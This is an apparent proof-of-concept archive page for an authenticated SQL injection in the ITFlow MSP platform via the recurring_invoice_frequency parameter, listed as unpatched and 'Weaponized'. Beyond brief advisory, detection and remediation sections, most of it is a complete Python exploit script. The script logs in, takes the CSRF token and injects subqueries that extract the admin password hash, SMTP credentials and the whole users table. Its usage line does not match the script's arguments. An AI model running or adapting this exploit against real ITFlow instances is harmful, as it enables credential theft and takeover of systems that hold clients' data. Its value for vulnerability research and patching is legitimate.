PoC Archive PoC Archive
High CVE-2026-54596 unpatched

ITFlow SQL Injection via recurring_invoice_frequency (CVE-2026-54596)

by iltosec · 2026-07-05

Severity
High
CVE
CVE-2026-54596
Category
web
Affected product
ITFlow (open-source MSP/IT management platform)
Affected versions
Not specified in source
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / Researcheriltosec
CVE / AdvisoryCVE-2026-54596
Categoryweb
SeverityHigh
CVSS ScoreNot specified in source
StatusWeaponized
Tagsitflow, sql-injection, authenticated, technician-role, cwe-89
RelatedN/A

Affected Target

FieldValue
Software / SystemITFlow (open-source MSP/IT management platform)
Versions AffectedNot specified in source
Language / PlatformPython PoC
Authentication RequiredYes (technician role, with access to an invoice)
Network Access RequiredYes (HTTP to ITFlow instance)

Summary

ITFlow’s recurring-invoice handling accepts an unsanitized recurring_invoice_frequency parameter that is placed directly into a SQL query. An authenticated technician-level user with access to an invoice can inject arbitrary SQL, extracting sensitive data including the admin password hash, admin email, and SMTP credentials from the underlying database.


Vulnerability Details

Root Cause

The recurring_invoice_frequency field is concatenated into a SQL statement without parameterization, allowing injection of arbitrary subqueries.

Attack Vector

  1. Authenticate as a technician-role user with access to at least one invoice.
  2. Submit a crafted recurring_invoice_frequency value containing a UNION-based or boolean SQL injection payload.
  3. Extract database contents (admin password hash, SMTP credentials, etc.) from the response.

Impact

An authenticated low-privilege technician can extract the full admin password hash and SMTP credentials, enabling further compromise (offline hash cracking, email relay abuse) of the ITFlow instance.


Environment / Lab Setup

Target:   An ITFlow instance with the vulnerable recurring-invoice handler
Attacker: Python 3 + requests, valid technician credentials with invoice access

Proof of Concept

PoC Script

See exploit.py in this folder.

1
python3 exploit.py <url> <invoice_id> --all

Authenticates and injects SQL via the recurring_invoice_frequency parameter to extract targeted database fields (admin hash, SMTP credentials, DB version, etc.).


Detection & Indicators of Compromise

Signs of compromise:

  • Unusual database query patterns in ITFlow’s invoice-recurrence handling
  • Technician accounts extracting admin-level data via invoice endpoints

Remediation

ActionDetail
Primary fixUpdate ITFlow to a version that parameterizes the recurring_invoice_frequency query
Interim mitigationRestrict technician role invoice-access scope; monitor for anomalous invoice-endpoint queries

References


Notes

Mirrored from https://github.com/CaginKyr/CVE-2026-7671 on 2026-07-05.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
#!/usr/bin/env python3
import re
import sys
import argparse
import requests

BANNER = r"""
  ___ _____ ___ _
 |_ _|_   _| __| |_____ __ __
  | |  | | | _|| / _ \ V  V /
 |___| |_| |_| |_\___/\_/\_/

  SQLi — recurring_invoice_frequency
  CVE: CVE-2026-54596
  Auth: Technician + accessible invoice
  by iltosec
"""

TARGETS = {
    "adminhash":  "(SELECT user_password FROM users LIMIT 1)",
    "adminemail": "(SELECT user_email FROM users LIMIT 1)",
    "smtppass":   "(SELECT config_smtp_password FROM settings)",
    "smtpuser":   "(SELECT config_smtp_username FROM settings)",
    "dbuser":     "(SELECT CURRENT_USER())",
    "dbversion":  "(SELECT VERSION())",
    "database":   "(SELECT DATABASE())",
}

USER_TYPE = {1: "Agent", 2: "Client"}

PREFIX = "MONTH),recurring_invoice_note="
TAIL   = ",recurring_invoice_status=1,recurring_invoice_currency_code=0x61,recurring_invoice_category_id=0,recurring_invoice_client_id=1#"


def payload(subquery):
    return PREFIX + subquery + TAIL


def parse_note(html):
    m = re.search(r"Notes.*?<div[^>]*card-body[^>]*>\s*(.*?)\s*</div>", html, re.DOTALL)
    if m:
        raw = re.sub(r"<[^>]+>", "", m.group(1)).strip()
        return raw if raw else None
    return None


def login(s, base, email, password):
    r = s.post(f"{base}/login.php", data={"email": email, "password": password, "login": "1"}, allow_redirects=False)
    return r.status_code in (301, 302)


def get_csrf(s, base):
    for page in ("agent/invoices.php", "agent/clients.php", "agent/tickets.php"):
        m = re.search(r'name="csrf_token"\s+value="([^"]{10,})"', s.get(f"{base}/{page}").text)
        if m:
            return m.group(1)
    return None


def fire(s, base, csrf, invoice_id, subquery):
    p = payload(subquery)
    if len(p) > 200:
        print(f"  [-] Payload too long ({len(p)}/200): {subquery}")
        return None
    r = s.post(f"{base}/agent/post.php", data={
        "add_invoice_recurring": "1",
        "csrf_token": csrf,
        "invoice_id": invoice_id,
        "frequency":  p,
    }, allow_redirects=True)
    if not re.search(r"recurring_invoice_id=(\d+)", r.url):
        return None
    return parse_note(r.text) or ""


def extract_users(s, base, csrf, invoice_id):
    count_raw = fire(s, base, csrf, invoice_id, "(SELECT COUNT(*) FROM users)")
    if not count_raw or not count_raw.isdigit():
        print("  [-] Failed to get user count")
        return
    count = int(count_raw)
    print(f"\n  Users ({count} total)\n")
    print(f"  {'#':<4} {'Name':<20} {'Email':<30} {'Type':<10} Hash")
    print(f"  {'-'*100}")
    for i in range(count):
        row = {}
        for col in ("user_name", "user_email", "user_type", "user_password"):
            row[col] = fire(s, base, csrf, invoice_id, f"(SELECT {col} FROM users LIMIT {i},1)") or "(null)"
        utype = USER_TYPE.get(int(row["user_type"]) if row["user_type"].isdigit() else 0, row["user_type"])
        print(f"  {i+1:<4} {row['user_name']:<20} {row['user_email']:<30} {utype:<10} {row['user_password']}")


def main():
    parser = argparse.ArgumentParser(
        prog="exploit.py",
        description="ITFlow CVE-2026-54596 - SQL Injection via recurring_invoice_frequency (agent/post/recurring_invoice.php:43) - by iltosec",
        formatter_class=argparse.RawTextHelpFormatter,
        epilog=(
            "Examples:\n"
            "  python exploit.py http://itflow.com admin@x.com 'P@ss!' 1 --all\n"
            "  python exploit.py http://itflow.com tech@x.com  'P@ss!' 2 --all\n"
            "  python exploit.py http://itflow.com tech@x.com  'P@ss!' 2 --adminhash --smtppass\n"
            "  python exploit.py http://itflow.com tech@x.com  'P@ss!' 2 --users\n"
            "  python exploit.py http://itflow.com tech@x.com  'P@ss!' 2 --dbuser --dbversion"
        ),
    )
    parser.add_argument("url",        help="Target base URL")
    parser.add_argument("email",      help="Login email")
    parser.add_argument("password",   help="Login password")
    parser.add_argument("invoice_id", help="Invoice ID the attacker can access")
    parser.add_argument("--adminhash",  action="store_true")
    parser.add_argument("--adminemail", action="store_true")
    parser.add_argument("--smtppass",   action="store_true")
    parser.add_argument("--smtpuser",   action="store_true")
    parser.add_argument("--dbuser",     action="store_true")
    parser.add_argument("--dbversion",  action="store_true")
    parser.add_argument("--database",   action="store_true")
    parser.add_argument("--users",      action="store_true", help="Dump all users table")
    parser.add_argument("--all",        action="store_true", help="Run all extractions")
    args = parser.parse_args()

    print(BANNER)
    base = args.url.rstrip("/")

    if args.all:
        selected  = list(TARGETS.keys())
        run_users = True
    else:
        selected  = [k for k in TARGETS if getattr(args, k, False)]
        run_users = args.users

    if not selected and not run_users:
        parser.print_help()
        sys.exit(1)

    s = requests.Session()
    s.headers["User-Agent"] = "Mozilla/5.0"

    print(f"[*] {base}  |  {args.email}")

    if not login(s, base, args.email, args.password):
        print("[-] Login failed")
        sys.exit(1)

    csrf = get_csrf(s, base)
    if not csrf:
        print("[-] CSRF token not found")
        sys.exit(1)

    print(f"[+] Logged in  |  CSRF: {csrf}")

    probe = fire(s, base, csrf, args.invoice_id, "(SELECT 1)")
    if probe is None:
        print(f"\n[-] Access denied for invoice_id={args.invoice_id}")
        print(f"    This invoice doesn't exist or belongs to a client")
        print(f"    that {args.email} cannot access.")
        print(f"    Try a different invoice_id (one assigned to your client).")
        sys.exit(1)
    print(f"[+] Injection reachable\n")

    for key in selected:
        val = fire(s, base, csrf, args.invoice_id, TARGETS[key])
        if val is None:
            print(f"  [-] {key}: blocked")
        elif val == "":
            print(f"  [!] {key}: NULL")
        else:
            print(f"  [+] {key}: {val}")

    if run_users:
        extract_users(s, base, csrf, args.invoice_id)

    print("\n[*] Done.")


if __name__ == "__main__":
    main()